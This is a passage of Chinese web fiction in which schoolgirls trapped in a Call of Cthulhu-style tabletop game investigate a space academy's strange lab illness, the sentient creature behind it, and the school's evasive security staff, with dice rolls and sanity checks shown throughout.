第八天:“整个组只剩下我和施施纳了,这样下去怎么去活动室聚会!我得去问问塞谬尔老师。”
后面还有一串斜体的批注,和另外两种字迹明显不属于一种语言:“咱俩石头剪刀布决定谁写报告好不好,我也不想写。”
第九天:“奢里尔说老师不在。他还好吗?”
第十天什么也没写,但是里面夹着一张纸条。一种红得发褐的“颜料”将一种笔记里未曾出现过的字母语言涂满整张纸条,混乱的字迹仿佛是垂死的哀嚎:
“Help!!!!!!”
颜阎感觉大脑眼睛刺痛,大脑里一片混乱。氧化的血液组成的字迹在她脑海里不住回荡。骰子不知何时出现在她手里,她忍着榨挤脑浆般的恐慌扔出骰子。
【灵感检定(san check):成功-1,失败-1d3
68/70 成功
san值-1 san:74/75】
一切不适如同退潮般离去,颜阎瘫倒在床边,仰着头深吸一口气,夹着笔记本就往禁闭室跑。边跑还不忘扔下一句:“san这么多还怕个鬼啊!冲!”
在三楼和四楼搜索的刘征兰也不太好。四楼没有什么可以调查的东西,三楼是她自己宿舍所在的楼层。她自己的房间什么也没有,但是在公共区域却找到了电子值日表。
说是值日,其实只是照顾花草。今天是隔壁寝室的女生浇水,但花盆里的泥土却非常干燥。
刘征兰根据值日表上的名字去敲隔壁女生的门。过了一会儿门才打开,里面是一个面如金纸的棕发少女,她没有穿防护服,应该是房间内的环境更适合人类生存。
“唐捐,你怎么还在?”她深深吸了一口气,“往常这个时候,你不是在活动室吗?”
刘征兰随便扯了个理由:“回来拿东西。你怎么样,要不要我帮你浇花?”
女生勉强笑了笑:“谢谢你。我不太舒服。实验区最近有一种奇怪的声波。但我好不容易做出了屏蔽仪的初期建模,不想中途放弃,于是在电脑房熬了一天,下午就变成这样了。你让你弟弟尽灯也少跑实验区。”
“我一定。”
女生颤抖的手伸进口袋,捏着磁卡递过来。就在刘征兰接过它的一瞬间,女生的鼻子里流下一行刺目的血迹。
女生似有所觉,她伸手触摸自己的嘴唇上方,将手放到眼底:“啊。”
她抬起头和刘征兰对视。
她的眼睛慢慢睁大,嘴张成一个巨大的空洞,脸部肌肉互相拉扯成一个扭曲的表情。一声穿透力极强的尖叫从她喉咙深处刺出,仿佛是在地狱的深处看到了所有令人恐惧之物的集合。
刘征兰手心冷汗岑岑,
【灵感检定:成功-0,失败-1d3
11/70 极难成功】
虽然冷汗直冒,但她还是及时稳住了精神。
她跌倒在地,抱着头疯狂挣扎,使劲浑身解数向门外的颜阎爬过来。周围的宿舍房门禁闭没有一扇门打开。
刘征兰她一咬牙一跺脚,绕到女生后面架住她的胳膊,将她奋力向外拖拽,企图将她拽到楼梯边,让她能趴上自己后背。
在女生即将趴上她后背的时刻,楼下传来急促的脚步声。三四个穿着防护服的智械和人类冲上来,把女生塞进一个胶囊状的白色东西里,然后抬着它匆匆离开。
“同学,请交给我们。”智械用单调的语调说道,“我们会照顾好她的。”
用两块强磁铁悬空抬着隔离胶囊的人类把头靠得很近,相互耳语着什么。刘征兰抓紧机会在心中呼唤骰子:“我要听听她们在说什么!”
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【聆听检定(出目/检定):90/65 失败】
……可恶啊!
虽然骰子某种意义上代表了命运的无常,可是这么清晰地把“错过了某种消息”的提示放到她眼前,还是很让人恼火。
这时候尽灯——灵魂是颜阎,从楼下“噌”地窜上来。
“不许动!”她伸出左手拦在巨大的胶囊前,“实验室里已经有好多学生得病了,到底怎么回事!学校必须给出一个交代!”
学校方面的人毫不动摇,只是重复了一遍:“请交给我们。我们会照顾好她的。”
“实验生都快没有人了!到底出了什么问题!学校草菅人命,没有起到监护的作用!”
“只是学习压力过大导致的焦虑症状,学校内没有出现任何问题。”智械重复着设置好的语言,“两位宵禁后仍在外游荡的同学请回到禁闭室内。”
颜阎把胳膊一抱,站在那里不走了:“来来来罚死我,有本事让我一辈子不出来。到底是学校管理导致实验区什么危险物质泄露了还是有人集体下毒,不尽快查清楚,难道等着所有人死吗?再打太极就把你们全部发到网上去!”
在后面抬胶囊的人类忽然开口道:“同学,你的心情我们理解。学校会处理这种事的。但是我们实在不建议你们把学校发到网上去。一方面这势必会影响外界对事件的好奇,不停向你打探消息,记者会蜂拥而至,在学校各地探索,影响你和同学们的考核成绩。另一方面,也会影响我们学校的声誉,让你的学历含金量下降。
我们奇点学院是一个集体,学校自然会保护学生的安全,只不过一切尚在调查中。我相信同学们也会对学院保有相当的信任,清楚自己作为集体中一份子的力量,共同维护自己和学校的利益!
唐捐同学,尽灯同学,我记得你们,作为人类考到奇点学院很不容易。你们的成绩都十分优秀,我不希望你们因为这样一点小事影响自己的前途。我知道你们很激动,很担心自己的同学。但你们要给予学校充分的自信,我们一定不会辜负任何人的期望!”
刘征兰和颜阎都震撼了:“哇这人,拔的好高啊!”
然而有一种莫名其妙的不安笼罩了她们,仿佛是一种无形的东西在她们之中蔓延。两人同时向身后回头,只见三楼女生宿舍和二楼男生宿舍所有的门都打开了一条缝隙,眼睛从宿舍的黑暗里窥视着她们,窃笑和恐惧从缝隙里潺潺流出,仿佛那细小的声音能淹没整栋建筑,让所有不参与低语的人溺水而死。
【唐捐灵感检定:成功-1,失败-1d6
29/60 成功
san值-1 san:49/50】
【尽灯灵感检定:成功-1,失败-1d6
97/70 失败】
“啊啊啊啊啊啊嗯?”颜阎眉头一皱,“不是大失败?”
刘征兰大喜过望:“是村规啊!”
世上既然有大成功,自然也有大失败。与大成功相对的是,大失败是一切失败的代名词。出门天降砖头进医院,彩票刮奖不成反被骗,打架四体不勤跌路边,吵架牙咬舌头满嘴血。
而在村规里,98,99,100就是大失败。颜阎距离大失败仅有一步之遥!此时此刻,她正双手合十,虔诚地祭拜骰子,感谢它的不杀之恩。
“你别拜了赶紧扔骰子吧!”
颜阎拿起一枚骰子。在它离开地面的一刻,它从一枚十面骰变成了一枚六面骰。颜阎把它放在手里搓了搓,往手心里吹口气,然后满怀希望地扔到地上。
骰子骨碌碌转了一圈,眼看就要在6上停下。
“不要啊!一下子掉5点san要疯掉的!!!”
奇迹没有发生。六颗点的骰子沉默地闪着荧光。颜阎和刘征兰对视一眼,两人欲哭无泪。
【理智检定 1d6=6
san值-6 san:63/70】
“走好。”
“我会的。”
地上的六面骰重新变回十面骰。颜阎把它们拿起来扔出去,判定了自己的疯狂症状和疯狂时间。
【疯狂症状 1d10=2 假性残疾
疯狂时间 1d10=3】
五感离开了颜阎的躯体。
她被关在身体的囚笼里,目不能视,舌不能言,耳不能听,鼻不能闻,手不能触。她仿佛是一颗未出生的胚胎,没有四肢也没有面孔,意识在虚空里飘荡,只有自己的心声清晰可闻。
她苦中作乐地想:这就是我思故我在!
为了给自己壮胆,她努力挥舞双臂,发出真正意义上的心声:“刘征兰!下面靠你了!”
她发自肺腑的高呼半点都没传递给刘征兰。刘征兰只是看着地上蠕动如虫子,嘴里哼哼唧唧但舌头就是动弹不得的她:“说什么呢这是?”
在她叮呤当啷扔骰子的时候,智械和人类早就端着胶囊嘿咻嘿咻地离开了。刘征兰朝门里的那些人一挥手:“看什么看!”
那些人立刻缩了回去。
刘征兰惊喜地看了看自己的双手:唐捐的卡还挺好用的嘛!
她辛辛苦苦拖着颜阎,用平时背书包锻炼出来的力量将她拖进电梯里,一路坐到一楼。吭哧吭哧挪到教学楼,然后把她扔在地上。
外面尽是一些面目模糊的npc角色。刘征兰坐在地上,上身立起,用双手支着身后的地面不顾来往学生诧异的眼神,一头倒在地上。
经历过这么一系列事情,她实在有些筋疲力尽了。
颜阎还在疯狂里没有醒过来。刘征兰叹了口气,躺在开阔中庭的地面上,仰望着立柱和圆形几何观景台,静静地感受着这个奇特世界里与她无关的喧闹。
“嘿。”旁边有人踢了她一脚,“你是刘征兰还是颜阎?”
踢她的人是个盘状迁氧。它的身体是由人类上臂粗细、一节一节、关节活动度很强的圆筒构成。每节圆筒上都有两只蟹足般的脚,整个身体盘成一个圆盘。总体来说,不管是外形还是行走方式,都很像一个扫地机器人。
见她没有回答,那个生物又问了一遍:“你是刘征兰还是颜阎?”
刘征兰试探性地问:“康烁影?”
对方一愣,然后盘子的中心开始发出银色的光。刘征兰推测是眼泪。
她如释重负,一头扑到康烁影的防护服上,扭来扭去地缠住了她整个面罩:“刘征兰!!!终于见到你了!”
也顺带对地上蠕动的大虫子一点头:“颜阎,你也好。”
她旁边有个人类少女,面罩之下的脸很清晰,和npc们完全不一样。康烁影指着她说:“她教的我扔色子。”
周真真知道跑团,太感人了。
刘征兰快要眼含热泪了:“谢谢你周真真女士,等出去了我们三个人天天给你上供饼干。”
“还有错题集。”康烁影补充。
人类少女微微歪头,眉梢蹙到一起:“我没听明白你们在说什么。”
刘征兰赶紧用膝盖顶了康烁影一下:“你别听她的,我错题集不一定靠谱。”
“不是这个。”她说。
“周真真是谁啊?”
54.哈瓦那综合症
少女疑惑地看着她们,十分不解:“唐捐,尽灯,奢里尔,你们今天怎么怪怪的?”
刘征兰不敢动弹,她搂紧康烁影,身体不自觉地挡住少女望向颜阎的视线。
“你带了个什么东西回来!”她低声问康烁影。
康烁影浑然不觉:“啊?她不是npc吗?她跟我说这是跑团,我们是pl,就是玩家。还教会了我扔色子。”
“首先,那叫骰子。”刘征兰手指绷紧,差一点给她一拳,“其次,npc为什么会扔骰子。你打游戏的时候,npc会告诉你现在该放大招吗?”
康烁影这才反应过来:“啊……”
刘征兰附在她耳边:“她说这是跑团?你确定?”
“这个我能确定。”
“那就更奇怪了。”刘征兰止不住地用眼睛瞄发疯的颜阎,“跑团这个东西很难跟你们现充解释,你理解成自由度更高的剧本杀就行。剧本杀有dm,跑团也有名叫kp的主持人。那么,这个世界的kp在哪里?”
身份不明的pl,提前车好的角色卡,还有不知所踪的kp,失踪的周真真……这就有点恐怖了。此时此刻,她们甚至燃起了一丝回学校高考的欲望。
“那我们现在怎么办?”把身份不明者带过来的康烁影很心虚。
“把她带着。总不能开打吧!谁都没枪,最后一人一拳搞互殴还不一定谁赢。”
“那就……带着?”
“让她背颜阎。”
“好主意。”
“你先让她把名字告诉我们。”
康烁影通过毫无技巧的撒娇攻势,把少女给弄烦了。她直接把技能表、属性表和随身物品全调出来给她们看。
人物名那里写的是“科黛”,没有姓氏。学生,和她们一样都是18岁。
“可以了吗?”科黛厌烦德摇晃着手腕,“你们好奇怪哦,没去教室也没去活动室调查。要不是我在走廊碰见奢里尔,它带我过来了,我怕是再过三个行动轮都找不到你们了。”
“太感谢你了。”刘征兰很没感情地说,“你能帮忙背一下颜……那什么尽灯吗,他掉san太厉害了。”
科黛随手扔出了骰子。
【力量检定:8/60 极难成功】
科黛轻轻松松把颜阎背起来了。
“我们现在去哪里探索?”
“去实验区呗。”
科黛点点头,主动在前面带路。
实验区离宿舍更近一点。但是教学楼人太多了,不方便调查。三人一……盘,偷偷摸摸鬼鬼祟祟摸进实验区,借着地图和科黛的记忆找到了正路,不用过导航。
奇点学院听名字像个二本,其实是这个时期全宇宙数得上名字的好学校。学校内分为实验生和文化生,实验生是一开始就冲着研究来的,毕业后一般会选择继续读书,然后进入研究院或者各大公司、政府机构做开发。
文化生的门槛就要低很多,一般是学习一些书本知识,学校也提供大量实践场所和工作模拟。但文化生的录取成绩也比一般学校高很多。
这一群人里只有颜阎使用的角色卡“尽灯”是实验生,科黛和“唐捐”是普通文化生,康烁影在用着的“奢里尔”干脆是花钱上的学。
刘征兰说,这种没用的地方这么写实干什么。
“尽灯”在发疯,她们找不到相关的线索去她的实验室,于是科黛先带她们去找负责尽灯实验组的老师:“塞谬尔老师”。
老师的办公室在实验楼三层,敲了门也没人应。三个人轮流过了力量,居然一个都没成功!几人对着地上的骰子大眼瞪小眼,不知道该感慨命运的无常还是怪自己手气太差。
这个时候,科黛背上的颜阎动了一下脑袋,胳膊一甩,小腿肚子一抽,双眼倏然睁开,吓了康烁影一跳。
在她尖叫之前,颜阎便用力挣动,从科黛背上滑下来,一个帅气的落地,然后双腿一软瘫在地上。
她四肢抽搐,眼睛从炯炯有神迅速变回半死不活没有高光的形态:“我死了吗?”
刘征兰说:“哪有这种好事!”
颜阎活过来之前,骰子率先出现在她手里。她奋力一丢:
【灵感检定:12/70 极难成功】
她的记忆顿时复苏了。这个走廊,这个办公室大门。这不是塞谬尔老师的办公室门口吗!她有磁卡啊!
三个人立刻搜刮了她的磁卡,贴在大门中央的位置。平平无奇的木纹门扉悄无声息地从中间分开,暗示了一下自己其实是个自动门。
康烁影和科黛进门搜查,刘征兰留下来跟颜阎讲述事情经过。颜阎很急,她说那得赶紧去找周珍珍啊,咱们几个把她扯进来的。
她说完又一顿:“不对。是她把我们扯进来的还是我们把她扯进来的?”
刘征兰说:“你别得了便宜还卖乖!”
那边康烁影扔了个23,搜查成功,她和科黛带着一张医疗鉴定表出来了。
科黛展开医疗鉴定表:“接近实验楼的学生往往有脑内压力大、头晕、头疼、幻听、流鼻血、失去平衡、注意力不集中等症状,在离开实验楼七到十天后可恢复。”
刘征兰听完就无语了:“这个症状完全就是高血压吧。”
颜阎抱着胳膊:“怪不得仁爱部说是学习压力过大。”
科黛迷惑不解地看着她们:“什么是仁爱部?”
康烁影也听不懂,但她已经习惯了:“反正不是什么好词。”
鉴定表下面还有一块小小的痕迹,似乎是用指甲写下的。科黛从办公室翻出一根蜡笔质地的办公笔,把那一串痕迹涂满,下面露出了一串歪歪扭扭的字母文字:芳月栋二层215。科黛认为这是一个重要地点,下一步最好去这个地点探索。
四个人总算可以清醒地整合一下信息。科黛和康烁影在教学区查到了一堆缺勤记录,还有一些学生被截下的投诉信息。内容全都是关于实验区的异常。
康烁影的角色卡是个赌博高手,有一个同学还跑过来和康烁影赌了一把,康烁影80的幸运,一点都不带怂的。对方输了之后告诉康烁影,实验区每到半夜都会发出一种奇特的音波。
颜阎和刘征兰把学校莫名其妙的掉san和那本笔记本也分享了出来。科黛指认中间空出的三天里,那行“我帮他记录一下”是她的笔迹,那段时间“尽灯”一直在做实验,没有出来。
“我们下面要做的就是去找塞谬尔老师和发生问题的实验室。”颜阎做简单总结,“还有笔记本里的施施纳,最好也能找到。”
康烁影问:“那我们能不能直接过个幸运,所有线索直接掉进我们怀里?”
“没可能。”
“氪金也不行吗?”
颜阎说:“等我们毕业了我一定逼你和我一起去玩买断制游戏,改一改你这个长线运营游戏的脑子!”
几个人收拾妥当起身,坐电梯上二楼。
实验区的电梯非常奇特,她们的本意是少走几步路,结果电梯要求她们输入地点后,“嗖”地以一个恐怖的速度向左侧冲撞,又转了个弯向上,然后继续向左,最后飞速降落。
惯性把所有人紧紧压在电梯厢壁上。刘征兰觉得可能是物理世界终于看不惯这群天天在空间之间无缝隙跳跃的亵渎者,准备给她们一点颜色瞧瞧,把她们压成肉饼是第一步,后面还有拔舌油锅刀山剑树什么的。
幸好物理世界放过了她们,电梯门打开了。人类们手脚并用爬出电梯,科黛一边跪着干呕一边用拳头捶地:“尽灯你……呕……你怎么没设置人种……”
只有康烁影神态如常,不禁让人感叹迁氧就是方便。
走廊里一片漆黑,只有电梯内伶仃的灯光勉强照耀着面前的空间。所有实验室的门都紧紧关着,门缝里没有一丝光明。走廊尽头的实验门上,一张荧光材料画就的笑脸与她们沉默相对,场面一时十分诡异。
“嘎吱。”
迟迟没有被人操纵的电梯门合上了。
“打开!打开!不许合上!”科黛和康烁影都扑上去狂按电梯按钮,但是电梯有自己的想法,它要去为别的学生服务了。电梯井传出固体排开空气的破裂声,最后一丝光明也消失了。
与之同时出现的,是一种纤细、颤抖的啜泣声。
“……你们听到了吗?”
科黛和康烁影都捂着耳朵:“没听到!”
颜阎哭丧着脸:“听到了。”
“过去看看?”
“我不想过去。”
但不过去就没法继续推动剧情。四个人排出菱形的队形,磨蹭着鞋底一点点向前挪。随着哭声的逼近,一个散发着淡淡荧光的透明胶体,在墙角缓缓蠕动着。那个东西的旁边落着两个黄铜质地的骰子。
【灵感检定(每回合一次):成功-0,失败-1d3
44/60 成功】
科黛惊呼:“施施纳!”
透明胶体不发一言,只是颤抖着。
有骰子,有正脸,是有名有姓的相关人物。
颜阎试探性地问:“周女士?”
周真真悚然一惊,瘫软的胶状身体拧成一股有韧性的物质,随后骤然拔高:“是……颜阎?”
“是我是我是我是我!”颜阎扑过去一把将她搂起来,“周女士好样的!这样都没掉光san!太棒了!”
地球土著终于见面,虽然中间还有一个来路不明的外星女子,但总归所有人都活着。科黛从头到尾都没有攻击她们的意思,反而用一种“你们今天又搞什么花样怎么不带我”的神情,反复谴责她们。
这种神情太熟悉了,完全就是关系好的同学对她们发癫时的好奇和包容,让人忍不住对她产生亲切感。
“周……啊不是,施施纳,你知道你是怎么到这里的吗?”颜阎给周真真使眼色,让她先别在科黛面前叫真名。
周真真浑浑噩噩,但回答问题还是很利索:“我知道。我扔了第一个骰子就知道了。我上课睡觉……听到了一种奇怪的声波,头疼得睡不着。但我下午要进实验室,再不睡就完蛋了,所以我没管我的伴侣们,直接跑过来准备和怪东西决一死战……”
科黛沉默了一阵:“很符合你的性格,下次记得叫我们一起来。”
力量最小的康烁影留在原地照顾周真真,剩下三人直奔荧光笑脸后的215实验室。刘征兰过了一个力量。
【力量检定:20/80 成功】
她一脚踹开大门。颜阎在后面虚张声势:“仁爱部!开门!跟我们进拷打室吧!”
实验室里一片狼藉。
215号实验室有三中三个班加起来那么宽广,桌子和实验设备翻的翻倒的倒,能买几条人命的仪器就那么开着电嗡嗡嗡地在地上震动。
地上趴伏着许多穿着防护服的人类和迁氧研究员,大部分人都已经不省人事,还有一小撮在痛苦地呻.吟咒骂,企图爬起来继续战斗。
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最显眼的莫过于趴在大门正对面的一个成年男人,他抱着腹部在地上缓慢地滚动,滚动,滚动,滚向门边。滚到科黛脚边后抬头看了她们一眼,青紫的脸上浮现出一个没心没肺的笑容。
“尽灯,唐捐,科黛,你们来了。”他举起大拇指,“已经没事了!要救的人,老师已经救走了!”
刘征兰试探性地问:“塞谬尔老师?”
老师听着她迟疑的声音,神情渐渐惊恐:“难道我的脸已经被打到你们都认不出来了吗?”
“您……呃……”颜阎整理着自己的语言,“不是让我们来救您吗?”
“当然不是!我需要什么人救!”塞谬尔的手指往东边一指,“我是让你们来救它!”
最东侧的墙边,两个插满管道的半圆形的透明球体孤零零倒在巨大的塔状物脚下,看得出来是被人用不规范的方法打开的,球体的边缘有些焦黑。
在球体的旁边,一团形态奇妙的物质如雾气般氤氲,如火焰般跳动,身体里有隐约的电光闪烁。但所有人都能看出来,它的身体黯淡而虚弱,显然已经体力不支。而实验室的众多设备里,关于它形体的模型、它在极端环境下的生存能力、它对各种外界刺激的反应,一份一份在屏幕上闪烁。
不知道是不是感受到了目光,它用力挣动身躯,迅速从几人头顶越过,钻进黯淡无光的走廊里。
“一年前我们在恒星上发现了这种新物质的存在,于是这种物质被取名‘离子素’,目前全宇宙只有五个实验室有资格对它们进行研究。随着对它们的研究,各个实验室附近都出现了头晕,心悸,失去平衡等症状,所有患者均反应听到了奇怪的声波。
我原以为是辐射泄露或者设备不完善,直到前几天我才发现。”塞谬尔捏紧拳头,向天振臂,“这些生物是有智慧,有文明的!而那种声波就是它们的哭泣,它们的语言!它们很有可能会成为宇宙中的一个新种族!我不能忍受一种智慧生物遭受如此惨无人道的实验!”
塞谬尔说得义正言辞,但颜阎和刘征兰只感受到了由衷的荒诞。两人用眼神和表情对彼此疯狂吐槽:
“那是游离体吧。”
“不管怎么看都是。”
“这是一个不知道游离体是生物的年代?”
“别说人家。我第一次在准备室见到也觉得是鬼。”
“所以这些人全都是……”科黛仰起头,看着地上那些半死不活的研究员,“您打倒的?”
塞谬尔滚出实验室:“不用谢。老师顶刊多专利多,赔得起!”
说完,他还费劲地扭过头,对着颜阎和刘征兰自信一笑:“尽灯,唐捐。我还帮你们把歧视人类的迁氧重点多打了几拳,不用谢老师!”
周真真隔着大老远看到一个人形东西骨碌骨碌滚过来,吓得差点又晕过去。康烁影抱着她大叫周女士活一下啊我们没有急救!
“老师您去哪里!”刘征兰在后面喊他,“先去医务室吧!”
“老师去把那个东西带回来。”老师虚弱地抹了一把鼻血,然而在防护服里他根本摸不到脸,“它在行星上活不久的。就算是适合迁氧生活的高压高温环境也不行。我得赶紧把保护膜给它披上。”
“您先歇着吧!”
谁也不忍心让这么一个只能滚来滚去的勇士滚进电梯了。颜阎按照他的指示从实验室里拿出另一个对半分开的圆球,刘征兰狂按电梯,康烁影和科黛架着周真真,五个人一同钻进电梯。
这次科黛总算用了人类友好的模式,电梯得以缓慢运行。拥挤的封闭空间里,颜阎忽然开口:“我们刚才看到了那个东西,谁也没掉san对不对?”
科黛反应了一下:“对的。”
“那我和刘……唐捐在宿舍楼的时候,为什么会突然掉san?我当时还以为是被什么声波电波影响了,但现在看来当时的反应不是那东西的声波。那到底是什么?”
san值就是sanity,理智值的意思,某种程度上可以认为是精神力。看见某些“不可名状之物”、或恐怖过头的事物时,san会下降。但当时有什么特别恐怖或者不可描述的东西吗?
刘征兰道:“没有尸体,没有邪神。那还能是什么?”
“对啊,我们除了被仁爱部搪塞之外什么也没感觉到。”颜阎补充了一句,“哦,还有同学都没出来帮我们!一个都没有!”
康烁影抓住重点:“仁爱部说了什么?”
“一些威胁,利诱,和一些集体主义……”刘征兰反应过来,“啊,是这种不可名状……”
颜阎也明白过来。她抱头大叫:“这哪里是Call Of Cthulhu(克苏鲁的呼唤),甚至算不上是Call Of Cyberpunk(赛博朋克),而是Call Of Collectivism(集体主义)啊!”
周真真难得硬气一点,用比平时更大的声音为颜阎的品格辩护:“可是,只要上学都会有集体主义。你平时没有害怕它呀。”
康烁影换了个姿势架住周真真没什么支撑点的身体:“第一次这么直观地感受到集体主义的压迫感,可能还是有点冲击。”
“而且我们是人类,在学校里多少有点受歧视。”科黛漫不经心,仿佛在说一件和她无关的事,“人类考入学校受到的阻力更大,也更容易被退学。所以氛围紧张也是正常的。”
电梯内沉默了一阵,几人齐声感慨:“确实好恐怖啊……”
55.秘密结社
教学区和普通的学校没什么两样。虽然更有设计感、更豪华、更高科技,但学校的本质没有变化,仍然是一群痛苦的学生在走来走去,苦恼于如何度过自己的人生。
地球土著一回到这里,浑身都舒坦了。这熟悉的不耐烦,这令人安心的歇斯底里,果然还是学校令人舒心!
在中庭随便找了张休息椅坐下,一群人就地开会。
“我们怎么找那个东西?做法吗?”康烁影很疲惫,对付邪神不在她的技能范围内,她只是对人类特攻。
“它对声波很敏感。”科黛坐了整个椅子,让脚悬在半空晃荡,“我们放个音乐试试?”
颜阎走得很累,一直在扭脚踝:“这里哪有放音乐的地方?教室?”
搜过教学楼的康烁影摇头:“没用,教室的电脑要老师的权限才能开。”
“宿舍行吗?咱们肯定有听音乐的东西。”
“声音太小了吧……”
科黛只想了一秒,脸上立刻露出神秘的笑容:“诶。我想到一个。”
“快说!”
“我们活动室堆着一个礼堂的大音响!”
颜阎一顿:“还要走啊,我真有点累了。咱们这都高科技,星际背景,各种生物满地跑了。为什么不能有一些呜呜呜的宇宙飞船,嗖嗖嗖的跳格子技术,而是必须要腿儿着去呢?”
科黛把她拎起来:“没有这种东西!上楼!”
教学区没有电梯,这更令人熟悉了,不如说有电梯才奇怪。
周真真可以下地走路了,她的走路方式居然不是蠕动,而是下半部分快速滚动着前行。就好像她这具透明身体是长在一个轮子上。
她们抽时间调出她的面板看了看,发现她和萝比厄尔梦幻影视制片厂的创始人碧破是一个种族,也就是说她这具透明身躯里面有大量器官。大家把她上上下下找了一遍,最后证明她身体里只有一些不规则气泡般的东西,如果这是器官的话,她怎么进食还是大问题。
“说到底你吃什么啊?”颜阎问。
幸好周真真现在不是人,完全看不出来脸红。不然她早就熟透了:“我也不知道呀……”
科黛看热闹不嫌事大:“而且,她几乎是完全透明的,这在这个种族里可是健美的表现哦。”
周真真完全缩到颜阎身后了。
颜阎装作不经意试探了一下科黛:“我们五个种族都不一样,天天混在一起玩,其他人没说什么?”
“说了。谁理他们。”科黛嗤笑,“对玩游戏的爱是所有种族共享的!”
很好,至少她们五个凑在一起不是有什么惊天大阴谋,只是为了下课玩游戏。
“哗啦”。
在她们的脑海里,同时传来了骰子的声音。
【暗骰:???】
从远处传来杂乱的脚步声,不知道为什么,大家就是能感觉出对面有五个人。
已经疯过一回的颜阎立刻一挥手召唤骰子:“幸运女神给我力量!天灵灵地灵灵太上老君快显灵!”
【潜行检定(出目/检定):20/20 成功】
和失败擦肩而过的颜阎一通操作,把自己塞进了楼梯间的门后。同时还不忘提示队友:“快学我!”
于是走廊里响起了一片“天灵灵地灵灵”的声音。
“哎呀不是让你们祈祷。扔骰子!潜行!”
【唐捐潜行检定:37/41 成功】
【科黛潜行检定:77/60 失败】
【施施纳潜行检定:64/30 失败】
【奢里尔 潜行检定:99/65 大失败】
“不是。”颜阎双手胡乱比划,手忙脚乱,也不知道她在忙什么,“你们是不是没说词啊?是太上老君不是太乙真人也不是太平洋暖流。”
康烁影的手哆哆嗦嗦地把骰子捧起来:“我再来一次,就一次,求求你了幸运女神太上老君太乙真人太平洋暖流。”
没有一个神仙说话,回应她的只有逼近的脚步声。
“孤注一掷吗?”科黛心虚而讨好地笑。
“你们三个全部大失败,神仙也救不回来!”颜阎深吸一口气,转头问藏在另一扇门后面的刘征兰,“这里的kp一直没有出场对不对?”
刘征兰警惕:“你又要干什么?”
颜阎拽住康烁影的身躯:“钻个空子,不知道成不成。”
她一把拎起康烁影最末端的那一节身躯,将她甩到对面的墙上。康烁影忽然撞上硬物,痛得蜷缩身体,脑海里闪过一大串绿边星星。眼前冲过来的是颜阎不依不饶的拳头。
【尽灯力量检定:33/50 成功】
【奢里尔 力量检定:50/40 失败】
【奢里尔 HP-1 HP:7/8】
康烁影莫名其妙挨了一下,这次她真哭了。每一节身体都发出明亮的光芒,可惜不能当作照明弹。
这一下直接把她们暴露在了来人的视线里。来者有一个人类四个迁氧,三个都没脚。也不知道她们是怎么听出五个人的,可能这就是跑团的魔力。
颜阎跪在康烁影身上,作势还要抡拳,嘴里怒喝:“混蛋迁氧!居然敢这么跟我说话,就因为我是人类?我们人类迟早把你们踩在脚底下!”
眼看同胞被殴打,几个迁氧立刻上来踹开颜阎,七手八脚将康烁影扶起来。康烁影大失败的代价居然只是掉了一滴血。
颜阎就比较惨了。她在地上滚了几圈,还不忘虚弱地比出大拇指:耶。
五个人都穿着防护服,一看就是仁爱部的。有个迁氧端详了一阵颜阎的脸,忽然道:“你是塞谬尔的学生?”
颜阎面色狰狞:“是又怎么样!”
很快也有人认出了康烁影:“你不是在学校开赌局的奢里尔吗?你和那个人类是一伙的!”
其他人顿时警惕起来,把这两个人团团围住:“快把我们的实验素材交出来!不然你们两个都得退学!”
颜阎试图站起来,但她今天走得太多了,已经超过了她一年的运动量,于是她假装腿软躺了回去:“呸!这个迁氧才不是我们的同伙!要不是它说那是学校财物,我们早把实验素材拿走了!果然迁氧就是不可信!”
此时骰子在她手里出现。周围的人看不到,于是她低低念着:“过说服过说服。”然后放弃一般把骰子扔在地上。
【说服检定(出目/检定):70/70 成功】
仁爱部的人完全信了。它们放弃了康烁影,转而包围颜阎。康烁影脚底抹油般逃回来,拍着不存在的胸脯顺气。
“快快快重新骰!”刘征兰反应最快,赶紧让失败的那几个人拿起骰子,“别辜负颜阎的牺牲!”
【科黛潜行检定:14/60 困难成功】
【奢里尔 潜行检定:41/65 成功】
【施施纳幸运检定:1/50 大成功】
“等一下!”科黛拽住周真真,“你过了个什么?”
康烁影和刘征兰伸脖子瞪眼:“你扔出了什么?”
周真真没有理会任何人,她冲出安全区,主动闯入仁爱部的包围中,用自己的身体支撑起颜阎,凑到她耳边低声道:“我也不知道这个大成功有什么效果你过个潜行吧求你了。”
颜阎没看到她们扔骰子的过程,只知道周真真莫名其妙出了个大成功。她晕晕乎乎扔出骰子。
【尽灯潜行检定:63/75 成功】
颜阎就地一滚,冲回楼梯上。
周真真对她们远远地摇了摇身体,让她们赶紧离开。不知道是不是错觉,大家从她的方向,感觉到一丝纤细的、难以言喻的幸福。
科黛领着她们从另一边的楼梯走。纯粹的脚力运动又要开始了,这样下去回去就要瘦脱相。颜阎气喘吁吁地搭着康烁影的肩,在奔跑之余抽空问:“这合理吗?一个大成功一个大失败就规避掉战斗轮?跑团是这么玩的吗?”
“大概是让我们钻到空子了。kp存在,甚至还能暗骰,但是没有出面跟我们交涉,自由度变得太高,以至于不受控制了。”刘征兰一步跨上三个台阶。
颜阎妙了一眼跑在最前面的科黛,小声问:“那周真真骰错了也是不受控制的错误?”
康烁影被她打了,正有点生气。但是也算被她救了,只能气鼓鼓地回答她:“她是想救你啊!你没看出来吗?”
颜阎指着自己:“救我?救我有什么用?图我电子学?”
“那你救我有什么用?”
“不一样!”颜阎急得岔气了,小腹左侧一抽一抽地疼,“咳……我救你的时候两个失败一个大失败,我给你一拳可能有机会让所有人重骰。就算不行,我们也提前出现在仁爱部面前,吸引它们注意力,其他人可以不用过敏捷直接攻击。但周真真完全在一换一,划不来!”
康烁影诧异地看了她一眼:“亏我还被你感动了一下,合着你完全没在舍命相救,而是把我们当超市打折活动里买三送一的小面包,在计算买哪个送哪个最便宜!”
“不然呢?”
“你怎么知道她会活下来?”
颜阎和刘征兰都顿住了。
“……哦你们完全没想过人被杀就会死是吗?”
“这个场景,又是科学仪器,又是水泥核风格建筑,还有外星生物和骰子。”刘征兰面色难看,“完全没人把它当现实啊!”
颜阎一举跳下全部台阶,几乎是趴在扶手上往下滑:“别贫了快看看人怎么样!”
人当然不好。周真真的身体已经完全消失了,不知道是被仁爱部带走了还是撕卡后被当作npc召回了。
【目睹队友死亡,san check,成功-1,失败-1d3】
【唐捐灵感检定:16/60 困难成功
san-1 san:48/50】
【尽灯灵感检定:97/70 失败】
【奢里尔 灵感检定:20/50 困难成功
san-1 san:59/60】
“……你已经两次97了哦颜阎。”
“手气差是这样的。”
【奢里尔 理智检定 1d3=3
san值-3 san:60/70】
